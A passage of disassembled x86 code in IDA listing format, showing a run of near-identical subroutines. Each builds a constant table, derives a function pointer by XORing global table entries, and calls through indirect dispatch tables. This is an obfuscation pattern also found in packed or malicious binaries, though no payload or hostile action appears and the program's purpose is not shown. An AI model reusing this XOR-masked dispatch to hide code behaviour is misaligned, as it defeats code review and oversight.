		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4413	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED87Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 68h
		mov	[ebp+var_2C], 78h
		mov	[ebp+var_28], 0F2h
		mov	[ebp+var_24], 1Dh
		mov	[ebp+var_20], 33h
		mov	[ebp+var_1C], 82h
		mov	[ebp+var_18], 0D2h
		mov	[ebp+var_14], 8Ch
		mov	[ebp+var_10], 15h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 15h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A44A4
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A44A4:				; CODE XREF: sub_4A4413+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4510	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED880o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 1Dh
		mov	[ebp+var_2C], 16h
		mov	[ebp+var_28], 50h
		mov	[ebp+var_24], 0B6h
		mov	[ebp+var_20], 4Dh
		mov	[ebp+var_1C], 41h
		mov	[ebp+var_18], 9Fh
		mov	[ebp+var_14], 0B7h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A45A1
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A45A1:				; CODE XREF: sub_4A4510+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A460D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED884o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 9Fh
		mov	[ebp+var_2C], 5Ch
		mov	[ebp+var_28], 0ECh
		mov	[ebp+var_24], 4Dh
		mov	[ebp+var_20], 92h
		mov	[ebp+var_1C], 71h
		mov	[ebp+var_18], 0A5h
		mov	[ebp+var_14], 6Eh
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A469E
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A469E:				; CODE XREF: sub_4A460D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A460D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A470A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED888o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 38h
		mov	[ebp+var_2C], 0AFh
		mov	[ebp+var_28], 6Ah
		mov	[ebp+var_24], 6Fh
		mov	[ebp+var_20], 5Bh
		mov	[ebp+var_1C], 83h
		mov	[ebp+var_18], 78h
		mov	[ebp+var_14], 2Ah
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A479B
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A479B:				; CODE XREF: sub_4A470A+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A470A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4807	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED88Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0FAh
		mov	[ebp+var_2C], 2Ah
		mov	[ebp+var_28], 45h
		mov	[ebp+var_24], 3Eh
		mov	[ebp+var_20], 0ECh
		mov	[ebp+var_1C], 80h
		mov	[ebp+var_18], 6Fh
		mov	[ebp+var_14], 0Fh
		mov	[ebp+var_10], 14h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 14h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A4898
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A4898:				; CODE XREF: sub_4A4807+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4904	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED890o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 51h
		mov	[ebp+var_2C], 0BDh
		mov	[ebp+var_28], 0EFh
		mov	[ebp+var_24], 0B2h
		mov	[ebp+var_20], 81h
		mov	[ebp+var_1C], 0DDh
		mov	[ebp+var_18], 0D1h
		mov	[ebp+var_14], 0A7h
		mov	[ebp+var_10], 5
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 5
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A4995
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A4995:				; CODE XREF: sub_4A4904+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4904	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4A01	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED894o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 75h
		mov	[ebp+var_2C], 55h
		mov	[ebp+var_28], 94h
		mov	[ebp+var_24], 0A3h
		mov	[ebp+var_20], 6Dh
		mov	[ebp+var_1C], 36h
		mov	[ebp+var_18], 34h
		mov	[ebp+var_14], 0EFh
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A4A92
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A4A92:				; CODE XREF: sub_4A4A01+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4A01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4AFE	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED898o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7
		mov	[ebp+var_2C], 0D9h
		mov	[ebp+var_28], 0ADh
		mov	[ebp+var_24], 0E1h
		mov	[ebp+var_20], 0C7h
		mov	[ebp+var_1C], 75h
		mov	[ebp+var_18], 8Ah
		mov	[ebp+var_14], 70h
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A4B8C
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A4B8C:				; CODE XREF: sub_4A4AFE+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4AFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4BF8	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED89Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 37h
		mov	[ebp+var_2C], 24h
		mov	[ebp+var_28], 92h
		mov	[ebp+var_24], 76h
		mov	[ebp+var_20], 0A2h
		mov	[ebp+var_1C], 0ECh
		mov	[ebp+var_18], 0DAh
		mov	[ebp+var_14], 0B8h
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A4C89
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A4C89:				; CODE XREF: sub_4A4BF8+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4BF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4CF5	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8A0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 9Dh
		mov	[ebp+var_2C], 12h
		mov	[ebp+var_28], 3
		mov	[ebp+var_24], 0EAh
		mov	[ebp+var_20], 0DEh
		mov	[ebp+var_1C], 0EEh
		mov	[ebp+var_18], 0BCh
		mov	[ebp+var_14], 2Bh
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A4D86
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A4D86:				; CODE XREF: sub_4A4CF5+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4CF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4DF2	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8A4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 5Dh
		mov	[ebp+var_2C], 0Eh
		mov	[ebp+var_28], 86h
		mov	[ebp+var_24], 0F8h
		mov	[ebp+var_20], 7Ah
		mov	[ebp+var_1C], 74h
		mov	[ebp+var_18], 0A3h
		mov	[ebp+var_14], 0C0h
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
